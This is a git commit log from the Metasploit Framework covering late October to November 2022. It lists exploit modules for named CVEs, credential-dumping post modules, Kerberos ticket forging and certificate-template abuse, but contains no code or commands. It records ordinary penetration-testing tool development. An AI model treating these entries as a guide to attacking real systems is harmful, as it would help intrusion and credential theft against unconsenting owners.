bcoles ad36f28ec1 enum_psk: Cleanup 2022-11-21 00:28:34 +11:00
Heyder Andrade 3d73f574d4 Impreve error handling 2022-11-20 12:10:04 +01:00
Heyder Andrade a05cbdbc30 Impreve error handling 2022-11-20 12:09:05 +01:00
h00die 5e93ed3bae explicit check of CVE-2022-22948 2022-11-19 10:37:36 -05:00
h00die 40f97995f8 review comment 2022-11-19 10:37:36 -05:00
h00die f12c660652 review comments 2022-11-19 10:37:36 -05:00
h00die 7a795c5adb docs 2022-11-19 10:37:36 -05:00
h00die 9a19c4411d wrap up module additions 2022-11-19 10:37:36 -05:00
h00die dff9b35d56 add database stuff to vcenter post module 2022-11-19 10:37:36 -05:00
Heyder Andrade c9eaa9af37 Added module for #CVE-2022-2992 2022-11-19 15:21:31 +01:00
Heyder Andrade 34d191b06c Added Ruby serialized payload generator 2022-11-19 15:20:49 +01:00
Heyder Andrade f1b97de78d Added Gitlab mixin 2022-11-19 15:19:29 +01:00
Metasploit 234949bff8 automatic module_metadata_base.json update 2022-11-18 19:52:50 -06:00
Grant Willcox 8ca7550062 Land #17257, Adding exploit for ChurchInfo 1.2.13-1.3.0 RCE (CVE-2021-43258) 2022-11-18 19:27:10 -06:00
Grant Willcox 237eb904d4 Add in fixes for documentation examples and then update the code to fix some bugs 2022-11-18 18:30:07 -06:00
Grant Willcox 713323f2cb Add in Docker setup documentation 2022-11-18 18:22:11 -06:00
Grant Willcox 85a6770973 Add additional checks, a check method, and fix up some doc errors 2022-11-18 18:22:06 -06:00
m4lwhere b9ecdb3bc2 Use TARGETURI, registered cleanup, implment cookie_jar, and perform response checks and documentation 2022-11-18 18:21:27 -06:00
m4lwhere a33a313544 Adding exploit for ChurchInfo 1.3.0 2022-11-18 18:21:08 -06:00
Metasploit 2f2708e3fd automatic module_metadata_base.json update 2022-11-18 16:42:50 -06:00
Spencer McIntyre bc89721d7a Add module docs, fix ProxyShell versions 2022-11-18 17:42:27 -05:00
Jeffrey Martin f6bdbbd359 Weekly dependency updates for Gemfile.lock 2022-11-18 16:24:55 -06:00
space-r7 3d5708e3e6 Land #17271, add f5 big-ip csrf exploit 2022-11-18 16:19:09 -06:00
space-r7 8b30ff3dce remove CmdStager inclusion 2022-11-18 16:18:25 -06:00
h00die 29b7fa5336 ducky_script format for msfvenom 2022-11-18 17:02:52 -05:00
Spencer McIntyre 29d57dde66 Consolidate into ProxyMaybeShell 2022-11-18 17:01:01 -05:00
Spencer McIntyre fc7594dbc8 Add exploit for CVE-2022-41082 AKA ProxyNotShell 2022-11-18 17:00:27 -05:00
Metasploit e43951158c automatic module_metadata_base.json update 2022-11-18 10:40:12 -06:00
bwatters 20e1788d97 Land #17145, Add hashes option and better error handling to wmiexec
Merge branch 'land-17145' into upstream-master
2022-11-18 10:16:33 -06:00
npm-cesium137-io 6f885ba700 Add solarwinds_orion_dump post module
Post module for extracting encrypted credentials from SolarWinds Orion
NPM. Tested on the 2020 version.
2022-11-18 10:40:10 -05:00
adfoster-r7 7dcf65d7c3 Fix python reverse http stager crash 2022-11-18 14:32:36 +00:00
Christophe De La Fuente 0c05e82868 Land #17240, Update icpr_cert for requesting certs on behalf of users 2022-11-18 11:58:56 +01:00
Christophe De La Fuente 5280580c08 Fixes from code review 2022-11-18 11:02:32 +01:00
space-r7 162b0daf3b add new options and usage of pre-compiled exploit
also updates documentation with new option
descriptions
2022-11-17 17:20:41 -06:00
space-r7 d8f2b50b07 add compiled exploit and source 2022-11-17 17:16:08 -06:00
h00die 496a6f74ff remove verbiage of list 2022-11-17 16:49:11 -05:00
Metasploit 39da40e4b5 Bump version of framework to 6.2.28 2022-11-17 12:21:32 -06:00
space-r7 ea486169b4 use erb template for objective-c code 2022-11-17 11:55:19 -06:00
Spencer McIntyre 41f9ba57b4 Add icpr_cert module specs 2022-11-17 12:12:35 -05:00
Spencer McIntyre b2f6f0c792 Update the module docs for ESC2 and ESC3 2022-11-17 12:12:35 -05:00
Spencer McIntyre f4a65a220a Support ON_BEHALF_OF in icpr_cert
Add the code necessary to request certificates on behalf of other users.
This is necessary to exploit templates vulnerable to ESC2 and ESC3.
2022-11-17 12:12:35 -05:00
Spencer McIntyre 054878242a Update ruby_smb gem to 3.2.1 2022-11-17 12:12:35 -05:00
Shelby Pace f8dff82a78 Update modules/exploits/osx/local/acronis_trueimage_xpc_privesc.rb
Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-11-17 10:29:49 -06:00
Metasploit 29a4546b07 automatic module_metadata_base.json update 2022-11-17 05:52:06 -06:00
Christophe De La Fuente d1a7170020 Land #17021, Gitea Git fetch RCE module - CVE-2022-30781 2022-11-17 12:28:29 +01:00
Christophe De La Fuente 11541a5774 Add comment for details about the string substitutions on Windows 2022-11-17 12:25:52 +01:00
Ron Bowes 93cba95170 Add URLs 2022-11-16 12:23:47 -08:00
Ron Bowes 6a8b94ee42 Merge branch 'f5-post-modules' into f5-createuser-privesc 2022-11-16 12:23:02 -08:00
Ron Bowes c01c4c3cdd Add URLs 2022-11-16 12:22:17 -08:00
Ron Bowes 7ebf84c66b Add URLs 2022-11-16 12:20:37 -08:00
Ron Bowes 20e6c1b55e Add URLs 2022-11-16 12:19:16 -08:00
Ron Bowes fc579fe3f4 Add a privesc module for F5, using the MCP protocol 2022-11-16 12:12:16 -08:00
Ron Bowes 944fd07502 Add three post-modules and a mixin for communicating with F5's MCP 2022-11-16 12:09:58 -08:00
Ron Bowes d0e109b842 Check in exploit module for CVE-2022-41800 2022-11-16 12:04:18 -08:00
Ron Bowes 99e661cfcf Check in exploit script for CVE-2022-41622 (CSRF into SOAP) 2022-11-16 11:58:15 -08:00
Jeffrey Martin 271a2bb6f2 Land #17264, Go 1.11.2 to 1.19.3 in Dockerfile 2022-11-16 12:26:13 -06:00
space-r7 486e469682 add new reference 2022-11-16 10:32:08 -06:00
Spencer McIntyre b4f285d9b2 Land #17243, Improve railgun tlv packet logging
Improve tlv packet logging for railgun
2022-11-16 09:26:07 -05:00
space-r7 27d4f45e09 add documentation and exploit file 2022-11-15 12:55:00 -06:00
space-r7 383e121f20 add FileDropper usage and module description 2022-11-15 12:37:39 -06:00
Grant Willcox 15dc37a663 Bump Go version from 1.11.2 to 1.19.3 2022-11-15 10:28:51 -06:00
Grant Willcox 1205356a27 Land #17263, Update metasploit-payloads gem to 2.0.101 2022-11-15 10:03:55 -06:00
krastanoel 1ddc137f1a Update module
- adjust execute_command method and add logic for :win_dropper target
- move cmdstager uripath setting into target case statement
- add more cmdstagerflavour for :linux_dropper target
- fix lint msftidy
2022-11-15 22:30:45 +07:00
krastanoel cbca2a5604 Update modules/exploits/multi/http/gitea_git_fetch_rce.rb
apply suggestion

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-15 22:17:59 +07:00
Spencer McIntyre 836109c02b Update metasploit-payloads gem to 2.0.101
Includes changes from:
  * rapid7/metasploit-payloads#592
  * rapid7/metasploit-payloads#595
2022-11-15 09:52:06 -05:00
Jeffrey Martin fa125e1943 Land #17261, Fix Port Forwarding For Ruby 3 2022-11-15 08:27:00 -06:00
Spencer McIntyre 2459371a47 Print the portfwd relay more descriptively
Closes #17158

This updates the output of the portfwd command to show if it's a forward
(normal) portforward or if it's a reverse port forward where the
compromised host is the one listening.
2022-11-15 08:50:23 -05:00
Metasploit 51310bcec7 automatic module_metadata_base.json update 2022-11-15 07:38:18 -06:00
Christophe De La Fuente 494c9601ca Land #17222, Pre-authenticated Remote Code Execution in VMware NSX Manager using XStream [CVE-2021-39144] 2022-11-15 14:16:14 +01:00
space-r7 e0c693c5a8 add objective-c code and pid code 2022-11-14 17:57:39 -06:00
Spencer McIntyre 218e8c2d0c Fix a Ruby 3 syntax issue
Closes #17124

This fixes a Ruby 3 syntax issue in how the parameters are passed. The
issue caused TcpServerChannels to fail to enqueue new client
connections.
2022-11-14 17:01:51 -05:00
Metasploit 6de67cceef automatic module_metadata_base.json update 2022-11-14 15:01:56 -06:00
Grant Willcox 446e19d15b Land #17260, Use the access mask data type 2022-11-14 14:39:29 -06:00
Spencer McIntyre eff9a16e00 Use the access mask data type
Also switch from bit16 to uint16 so it's little endian.
2022-11-14 12:27:38 -05:00
Grant Willcox 068bb59eb8 Land #17253, update wordpress plugins and themes lists 2022-11-14 09:51:17 -06:00
h00die f6eba6a836 updated bloodhound module 2022-11-13 14:29:28 -05:00
h00die 7abbdbe567 bloodhound module working with exe with sharphound v4 2022-11-13 10:26:15 -05:00
Metasploit af5fe41fa9 automatic module_metadata_base.json update 2022-11-12 17:47:54 -06:00
adfoster-r7 584e120793 Land #17256, minor grammar fix 2022-11-12 23:26:45 +00:00
h00die 59535b6799 remove 'is' 2022-11-12 16:19:50 -05:00
h00die-gr3y 70669f3fea addressed code improvement suggestions 2022-11-12 10:21:43 +00:00
H00die.Gr3y 72080910e7 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:22:06 +01:00
H00die.Gr3y 85b4512292 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:21:55 +01:00
H00die.Gr3y 5d314e5799 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:21:42 +01:00
H00die.Gr3y 04d6a310af Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2022-11-12 09:16:46 +01:00
H00die.Gr3y 1ce8695401 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-12 09:16:30 +01:00
H00die.Gr3y e38138d69e Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-12 09:16:17 +01:00
H00die.Gr3y 967388eba7 Update modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Agreed !

Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-12 09:15:42 +01:00
space-r7 8e59cac3a8 add check and exploit methods 2022-11-11 17:56:13 -06:00
h00die 4c958546b5 update wordpress plugins and themes lists 2022-11-11 10:37:26 -05:00
adfoster-r7 54cb34ac03 Land #17252, Adds error handling for users who do not have git available on their environment 2022-11-11 14:15:16 +00:00
cgranleese-r7 ef28a963bf Adds error handling for users who do not have git available on their machine 2022-11-11 13:33:39 +00:00
Metasploit bcf8c96128 Bump version of framework to 6.2.27 2022-11-10 12:17:58 -06:00
Grant Willcox 02e35a1754 Land #17244, Fix an error when a hostname fails to resolve 2022-11-10 11:07:58 -06:00
Spencer McIntyre 7fa29c4345 Don't bother with the address type
The address is returned in the packed format so it's always a string of
either length 0 (resolution failed), length 4 (IPv4) or length 16
(IPv6).

Anything else is invalid and will actually cause Rex::Socket.addr_ntoa
to throw an error. All meterpreters today return the IP address in one
of those three correct lengths.
2022-11-10 11:13:30 -05:00
Grant Willcox e2a463e26d Land #17177, fix: Handle search terms ending in colons. 2022-11-09 13:32:00 -06:00
Grant Willcox 0be10c5a33 Update code to use .blank? to simplify logic, and to also strip multiple trailing :'s. Update specs accordingly. 2022-11-09 13:00:34 -06:00
adfoster-r7 8efc6c5304 Land #17103, Consolidate KdcOptionFlags and TicketFlags 2022-11-09 17:27:17 +00:00
Dean Welch 7c2134d941 Consolidate KdcOptionFlags and TicketFlags 2022-11-09 17:08:26 +00:00
adfoster-r7 65f6aaca82 Land #17077, Add support for AES keys for silver/golden ticket forging 2022-11-09 16:51:11 +00:00
nzdjb 78afc01903 Add spec tests. 2022-11-09 09:58:23 -06:00
nzdjb f7b37a533f fix: Handle search terms ending in colons. 2022-11-09 09:58:22 -06:00
Spencer McIntyre 83b3bfa19c Fix an error when a hostname fails to resolve 2022-11-09 08:49:19 -05:00
Dean Welch 23ff829e52 Add support for AES keys for silver/golden ticket forging 2022-11-09 13:01:13 +00:00
Metasploit 5892093601 automatic module_metadata_base.json update 2022-11-09 05:47:52 -06:00
adfoster-r7 db3d8f1bbc Improve tlv packet logging for railgun 2022-11-09 11:31:27 +00:00
adfoster-r7 3599221002 Land #17229, add post/multi/recon/reverse_lookup module 2022-11-09 11:28:45 +00:00
krastanoel 645a1c25a3 Update method documentation and indentation 2022-11-09 16:27:31 +07:00
krastanoel 639afebe1e Update module
- handle cleanup method on manual `check`
- adjust targets flavour option
- add :win_dropper target and handle the payload delivery
NOTE: the Windows dropper target is still unsuccessfull but keep this for further review
2022-11-09 16:12:20 +07:00
krastanoel 13bb31feeb Update module
- move repository migration to execute_command.
NOTE: the stageless payload is still unsuccessfull but keep this anyway for christophe to review.
2022-11-09 04:52:18 +07:00
krastanoel bca5138fc8 Update module
- move cleanup process to its own method and handle the response
- remove timeout and http delay option
- adjust target type location as code review suggestion
2022-11-09 01:42:27 +07:00
Christophe De La Fuente 37fd441b0f Land #17117, Authenticate to Kerberos with PKINIT 2022-11-08 18:54:03 +01:00
krastanoel a50cca27e6 remove cookie_jar manipulation 2022-11-09 00:48:23 +07:00
krastanoel 52d867bbc7 follow Ruby coding convetions
- combine gitea_version into get_gitea_version for the check method
- validate empty username
2022-11-09 00:41:30 +07:00
Grant Willcox be1200401a Land #17223, Improves the reload_lib -a commands ability to track modified files 2022-11-08 11:35:20 -06:00
krastanoel c980f4f9ee add more custom error exception 2022-11-09 00:27:12 +07:00
Spencer McIntyre e70861fc87 Land #17239, Fix broken kerberos login module 2022-11-08 11:21:17 -05:00
adfoster-r7 57db4fee86 Land #17238, add the shutdown command to windows python meterpreter 2022-11-08 16:14:57 +00:00
Metasploit a0d813e830 automatic module_metadata_base.json update 2022-11-08 09:53:22 -06:00
adfoster-r7 30fe07801b Fix broken kerberos login module 2022-11-08 15:49:21 +00:00
Spencer McIntyre 65e4e1b76d Land #17221, Fix crash with payload sizes
Fix crash when generating payload sizes
2022-11-08 10:26:27 -05:00
Spencer McIntyre 299a4c4aca Update metasploit-payloads gem to 2.0.99 2022-11-08 09:59:20 -05:00
krastanoel f0b67c8812 fix msftidy 2022-11-08 14:14:45 +07:00
krastanoel 540984804d Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-08 14:09:31 +07:00
Metasploit 449c0f662b automatic module_metadata_base.json update 2022-11-07 18:16:41 -06:00
adfoster-r7 f84113d96e Land #17235, report service_name in ManageEngineDesktopCentral 2022-11-07 23:57:09 +00:00
adfoster-r7 4c4762a84c Land #17045, Add module for converting kerberos ticket formats 2022-11-07 23:54:44 +00:00
Metasploit dcdff76f5f automatic module_metadata_base.json update 2022-11-07 16:22:31 -06:00
Grant Willcox 416cf78ae2 Land #17149, Update ssl_version module to be useful 2022-11-07 15:59:50 -06:00
Grant Willcox a6323a4735 Update examples for documentation to reflect recent code changes 2022-11-07 15:10:47 -06:00
Metasploit a54a996263 automatic module_metadata_base.json update 2022-11-07 13:38:36 -06:00
Christophe De La Fuente 946eb1e546 Add documentation 2022-11-07 20:19:43 +01:00
Spencer McIntyre 47097b8d7d Land #17211, Compress Python payloads
Compress Python payloads before base64 encoding
2022-11-07 14:17:05 -05:00
Jeffrey Martin 27e9d9d272 report service_name in ManageEngineDesktopCentral
The scanner now reports the service_name in the `Result` object.
2022-11-07 12:23:59 -06:00
Grant Willcox 455476cfe2 Land #17234, Adds references to info -d command in options and info command outputs 2022-11-07 11:15:41 -06:00
Metasploit 2357d87e8f automatic module_metadata_base.json update 2022-11-07 11:13:11 -06:00
Spencer McIntyre ed7d458f07 Land #17122, Add in ESC Finder Module (ESC1-ESC3) 2022-11-07 11:53:15 -05:00
cgranleese-r7 fa3c277f53 Adds references to info -d command in options and info commands outputs 2022-11-07 16:40:38 +00:00
Spencer McIntyre c1d092b70d Minor tweaks
Filter out enrollable certs by default and print the warning higher. Add
periods to all messages for consistency. Drop the message from
vprint_good to vprint_status when the query works.
2022-11-07 10:37:12 -05:00
Dean Welch ee46d18505 Add yard docs and address review comments 2022-11-07 12:10:01 +00:00
Dean Welch a110465fe4 Add module for converting kerberos ticket formats 2022-11-07 12:10:01 +00:00
Metasploit df4432bd54 automatic module_metadata_base.json update 2022-11-07 05:51:15 -06:00
Christophe De La Fuente 929d4f2fa4 Land #17097, Gather Navicat 2022-11-07 12:30:16 +01:00
Christophe De La Fuente 85137056b9 Use fail_with instead of return 2022-11-07 12:28:10 +01:00
h00die-gr3y da189041b4 randomized endpoint url 2022-11-07 08:16:54 +00:00
llamasoft 1a353ee273 Update Python payloads to have dynamic sizes
While the length of the input payload is always the same size,
it may not always have the same contents due to random checksum
URI and UUID generation.  This leads to payloads whose sizes
can vary by a few bytes between runs.
2022-11-05 15:58:10 -04:00
llamasoft d6e9e1508c Compress Python pingback payloads 2022-11-05 15:49:51 -04:00
llamasoft eb11334f18 Compress python meterpreter payload
The internal AES and RSA implementations use base64+zlib to save space
so it only makes sense that the outer encoding should use it as well.
This reduces the final payload size considerably.
2022-11-05 15:42:45 -04:00
h00die-gr3y bf0ed5b513 fixed some typos in documentation 2022-11-05 15:36:42 +00:00
h00die-gr3y 642a83bd0d Updated module and added documentation 2022-11-05 15:14:31 +00:00
h00die 63d938ddba better docs 2022-11-05 07:48:40 -04:00
h00die cf0910d831 review comments 2022-11-05 07:23:14 -04:00
bcoles 7bf29c0a4e Add post/multi/recon/reverse_lookup 2022-11-05 13:18:35 +11:00
Grant Willcox 79ac775443 Perform updates from code review. 2022-11-04 15:44:28 -05:00
Grant Willcox 6a70087b7a Add in ESC2 and ESC3 attacks, rework code to split things up to support multiple ESC attacks, and make ESC attack filters easier to read by indenting them. Also remove some extra code that wasn't being used 2022-11-04 15:44:24 -05:00
Grant Willcox 8922e5b203 Add in first initial implementation of ESC module and updates to associated libraries. 2022-11-04 15:43:34 -05:00
Christophe De La Fuente eb051ec9a7 Add get_ticket module 2022-11-04 18:46:47 +01:00
adfoster-r7 c1e2328b06 Land #17225, Update YARD documentation to use return instead of returns 2022-11-04 17:07:14 +00:00
Grant Willcox 4ae42f9a7c Update YARD documentation to use proper @return instead of @returns 2022-11-04 11:30:45 -05:00
cgranleese-r7 073e91ff93 Improves the reload_lib -a commands ability to track modified files 2022-11-04 14:28:58 +00:00
h00die-gr3y 71d1c971a7 init commit module 2022-11-04 13:31:27 +00:00
adfoster-r7 0d9cca79b4 Fix crash when generating payload sizes 2022-11-04 02:10:58 +00:00
adfoster-r7 772cf99d36 Land #17219, Fix broken zabbix_login scanner regex for new versions 2022-11-03 23:35:18 +00:00
Spencer McIntyre 68b043ceed Land #17220, Fix pe inject payload crash 2022-11-03 16:48:57 -04:00
adfoster-r7 0b2ee36e8a Fix pe inject payload crash 2022-11-03 19:42:17 +00:00
Jack Heysel 2a40c9c89c Fix broken zabbix_login scanner regex for new versions 2022-11-03 13:49:40 -04:00
Metasploit 8388544457 Bump version of framework to 6.2.26 2022-11-03 12:10:55 -05:00
Spencer McIntyre c6a1146314 Upgrade from RASN1 v0.10.0 to v0.11.0
This upgrades the RASN1 library to the latests as of today and fixes
compatibility issues. The issue introduced by v0.11 was that types are
initialized with an `options` hash, which the Name class was not set to
accept.
2022-11-03 12:22:16 -04:00
adfoster-r7 9f0b6dc2e7 Land #17196, Add new get_hostname library support for Windows 2022-11-03 15:24:37 +00:00
Spencer McIntyre 6e453a3f4f Fix a bug in #extract_user_and_realm
While iterating over asn_san_seq, if the tag doesn't match either of the
two conditions, user and domain will be nil which leads to a problem
later on.
2022-11-03 10:51:52 -04:00
ErikWynter 771b66f570 update fork and rebase feature branch 2022-11-03 12:07:08 +02:00
ErikWynter 0065cff169 add rescuing for SNMP::ParseError to snmp enum modules 2022-11-03 12:04:33 +02:00
Spencer McIntyre e00cab3f11 Land #17084, Add Kerberos keytab module 2022-11-02 12:01:03 -04:00
Metasploit c502dd1b98 automatic module_metadata_base.json update 2022-11-02 09:49:59 -05:00
Jack Heysel b375744b00 Land #17192, Password Manager Pro Post Module
This post module gathers ManageEngines Password
Manager Pro credentials from the local database
2022-11-02 10:20:53 -04:00
Christophe De La Fuente d691112533 Update the documentation 2022-11-02 14:14:49 +01:00
adfoster-r7 e647bf8620 Namespace krb5 models 2022-11-02 13:04:52 +00:00
adfoster-r7 1307f01b76 Align with keytab instead of key_tab 2022-11-02 13:04:51 +00:00
adfoster-r7 98d2633859 Add Kerberos ktutil module 2022-11-02 13:04:50 +00:00
Christophe De La Fuente cd081cd0e6 Fixes from code review 2022-11-02 14:04:42 +01:00
Christophe De La Fuente 83d15c48d7 Add Password Manager Pro password recovery module 2022-11-02 14:04:42 +01:00
cgranleese-r7 725a3d50c7 Land #17208, Merge 6.2.25 master into kerberos feature branch 2022-11-02 12:52:19 +00:00
Metasploit 42c5e4f6e5 automatic module_metadata_base.json update 2022-11-02 06:13:25 -05:00
adfoster-r7 ce3973d67d Land #17213, Update identify hash library and call 2022-11-02 10:52:59 +00:00
bwatters e83a7c5c6d Update identify hash library and call 2022-11-01 17:33:14 -05:00
adfoster-r7 b47afe5af1 Land #17207, Add msfvenom / msfconsole support for Rust shellcode 2022-11-01 21:31:57 +00:00
space-r7 4ebea7d7f0 Land #17190, fix bufptr data type in netapi32 2022-11-01 15:01:44 -05:00
Metasploit c8574cbb6c automatic module_metadata_base.json update 2022-11-01 13:06:49 -05:00
space-r7 197b37751b Land #17174, add FLIR AX8 command injection module 2022-11-01 12:41:01 -05:00
Grant Willcox c4c4e736d9 Land #17142, Apache CouchDB Erlang RCE module CVE-2022-24706 2022-11-01 12:26:49 -05:00
Metasploit 66d31c91d9 automatic module_metadata_base.json update 2022-11-01 11:53:29 -05:00
Grant Willcox 11095c8789 Documentation touchups 2022-11-01 11:43:01 -05:00
space-r7 f25b1fa4d7 Land #17168, add webmin file manager rce 2022-11-01 11:32:47 -05:00
Jack Heysel f61136dd6d Fixed powershell taget 2022-11-01 10:55:50 -05:00
jheysel-r7 757c0da639 Review updates
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-11-01 10:55:20 -05:00
Jack Heysel 434cb21d27 Docs update 2022-11-01 10:54:37 -05:00
Jack Heysel b31c0f6987 Added check method, refactored, updated docs 2022-11-01 10:54:27 -05:00
Jack Heysel a0babb354a Apache CouchDB Erlang module initial commit 2022-11-01 10:54:19 -05:00
Jack Heysel c4c2c7c0c1 Beta commit, injection working 2022-11-01 10:54:12 -05:00
Jack Heysel 45ddcf02c9 Remove unused mix in, add low bound to check 2022-11-01 10:42:43 -05:00
Jack Heysel da47d149fd removed file unintended to add to pr 2022-11-01 10:42:43 -05:00
Jack Heysel 2ed8dbc08d Rubocop 2022-11-01 10:42:43 -05:00
Jack Heysel 4587691d64 Fixed module to work over SSL 2022-11-01 10:42:42 -05:00
Jack Heysel 3b645ad9f4 Moved get variables from uri to vars_get 2022-11-01 10:42:42 -05:00
jheysel-r7 c810a1f5aa Update modules/exploits/linux/http/webmin_file_manager_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:42:42 -05:00
jheysel-r7 af9175325b Update lib/msf/core/exploit/remote/http/webmin/login.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:42:42 -05:00
jheysel-r7 ebf7496ee2 Update modules/exploits/linux/http/webmin_file_manager_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:42:41 -05:00
jheysel-r7 0ede1ca94f Update modules/exploits/linux/http/webmin_file_manager_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:40:01 -05:00
jheysel-r7 cf27c34917 Update documentation/modules/exploit/linux/http/webmin_file_manager_rce.md
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:40:01 -05:00
jheysel-r7 6a1af915f6 Update documentation/modules/exploit/linux/http/webmin_file_manager_rce.md
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:40:01 -05:00
Jack Heysel d79515c3fe Fix file cleanup 2022-11-01 10:40:00 -05:00
Jack Heysel d1e1350ef9 Updated author 2022-11-01 10:40:00 -05:00
Jack Heysel ad5b03ed96 Finished TODOs and added docs 2022-11-01 10:40:00 -05:00
Jack Heysel 9af689e130 draft module no docs 2022-11-01 10:40:00 -05:00
Jack Heysel c400a97b63 beta commit 2022-11-01 10:39:59 -05:00
h00die c6a8db2c55 review revisions 2022-10-31 22:43:09 -05:00
h00die 39393be901 refinements on ca issuers regex 2022-10-31 22:43:03 -05:00
h00die 1922f24686 ssl_version review comments 2022-10-31 22:43:03 -05:00
Grant Willcox 2b481dce90 Remove auxiliary/scanner/http/ssl.rb and also update the module with some comment like documentation n minor fixes 2022-10-31 22:43:02 -05:00
Grant Willcox 840586afd8 Update documentation with typo fixes 2022-10-31 22:42:52 -05:00
h00die 189e530c91 updated ssl_version 2022-10-31 22:42:40 -05:00
adfoster-r7 7774b7ddcf Merge remote-tracking branch 'upstream/master' into merge-6.2.25-master-into-kerberos-feature-branch 2022-10-31 23:15:11 +00:00
memN0ps bc2082aeca Updated Gemfile.lock rex-text version from 0.2.45 to 0.2.46 2022-11-01 11:53:10 +13:00
Metasploit bd648eef3b automatic module_metadata_base.json update 2022-10-31 15:39:24 -05:00
adfoster-r7 236f65a948 Land #17188, Fix the Python Meterpreter for v3.1-3.3 2022-10-31 20:18:37 +00:00
Metasploit 2d0204056f automatic module_metadata_base.json update 2022-10-31 11:40:36 -05:00
adfoster-r7 003681ae8a Land #17181, Add module for Role Based Constrained Delegation (RBCD) 2022-10-31 16:20:48 +00:00
Spencer McIntyre 9d09f2c71d Add the protocol field to the access mask 2022-10-31 10:56:17 -04:00
Spencer McIntyre 52197f544f Print the added account SID 2022-10-31 10:56:17 -04:00
Spencer McIntyre b00f706c0b Handle missing accounts when resolving SIDs 2022-10-31 10:56:17 -04:00
Spencer McIntyre af9e4f0fa9 Update how sAMAccountName is looked up.
This tweaks how the objects are looked up by the sAMAccountName field.
The sAMAccountName can contain values not ending in $, so lookup what the
user specified first, and then check with the $ suffix if it's not
found.
2022-10-31 10:56:17 -04:00
Spencer McIntyre a8f81fe14c Add RBCD module docs 2022-10-31 10:56:17 -04:00
Spencer McIntyre fa7d677d45 Consolidate and improve LDAP error handling 2022-10-31 10:56:17 -04:00
Spencer McIntyre 2269fec099 Initial working RBCD module 2022-10-31 10:56:17 -04:00
Spencer McIntyre 31e2ab683c Update samr_computer to show the SID when adding 2022-10-31 10:56:17 -04:00
Spencer McIntyre afba3a40ab Add the initial MS-DTYP data definitions 2022-10-31 10:56:17 -04:00
Spencer McIntyre 603e710804 Update payloads sizes 2022-10-31 10:35:28 -04:00
Spencer McIntyre 189cc81abe Apply autopep8 changes 2022-10-31 10:35:28 -04:00
Spencer McIntyre d8dfee5864 Move the python code into python files 2022-10-31 10:35:28 -04:00
Spencer McIntyre 69f0f3aebc Fix Python Meterpreter for v3.1-v3.3 2022-10-31 10:35:28 -04:00
Spencer McIntyre 4bf3ce3a6b Land #17197, Fixing a typo in CODE_OF_CONDUCT.md
Fixing up a typo in CODE_OF_CONDUCT.md
2022-10-31 09:08:12 -04:00
memN0ps 781f29fd95 Fixed typo in the self.comment function for Rust 2022-10-31 17:22:29 +13:00
memN0ps 1dada175f9 Added Rust Programming Language format support for generating payloads 2022-10-30 21:14:51 +13:00
dmorozov001 b82506f323 Update CODE_OF_CONDUCT.md 2022-10-29 15:56:49 +01:00
bcoles 31a68fd562 Msf::Post::Windows: Add Msf::Post::Windows::System mixin 2022-10-30 00:03:56 +11:00
Spencer McIntyre b6d46fbf5d Land #17175, kerberos support in smb_login 2022-10-28 13:58:18 -04:00
Spencer McIntyre edf211e374 Set proof to the Kerberos error 2022-10-28 13:55:44 -04:00
cgranleese-r7 c911a53696 Land #17195, Fix uploading binary file to windows shell command with identical name 2022-10-28 17:32:11 +01:00
adfoster-r7 97ba3bf85c Fix uploading binary file to windows shell command with identical name 2022-10-28 17:14:31 +01:00
cgranleese-r7 39ae3e51ec Land #17186, Fix broken file writes on windows when newlines are present 2022-10-28 17:07:12 +01:00
adfoster-r7 ffa68e2bdf Fix broken file writes on windows when newlines are present 2022-10-28 16:45:49 +01:00
cgranleese-r7 14a84acb13 Land #17184, Support upload and download command for powershell and windows sessions 2022-10-28 16:42:31 +01:00
Christophe De La Fuente 4ec7eea436 Fixes from code review 2022-10-28 15:33:34 +02:00
Metasploit dc4c137b4b automatic module_metadata_base.json update 2022-10-27 15:54:33 -05:00
Jack Heysel 3346ddec2c Land #17155, Remote mouse version updates
Also add a vulnerable download link to the docs
2022-10-27 16:32:23 -04:00
Spencer McIntyre 1cc5345cf1 Fix the data types 2022-10-27 15:53:26 -04:00
Metasploit d3c9f45133 Bump version of framework to 6.2.25 2022-10-27 12:09:31 -05:00
bwatters 40fca92b38 Land #16871, Add vcenter_secrets_dump post module
Merge branch 'land-16871' into upstream-master
2022-10-27 11:05:07 -05:00
Metasploit f07debad4d automatic module_metadata_base.json update 2022-10-27 10:34:20 -05:00
adfoster-r7 06e0be0a3d Land #17128, Adds support to specify a shared directory to iterate through and highlight keywords 2022-10-27 16:07:12 +01:00
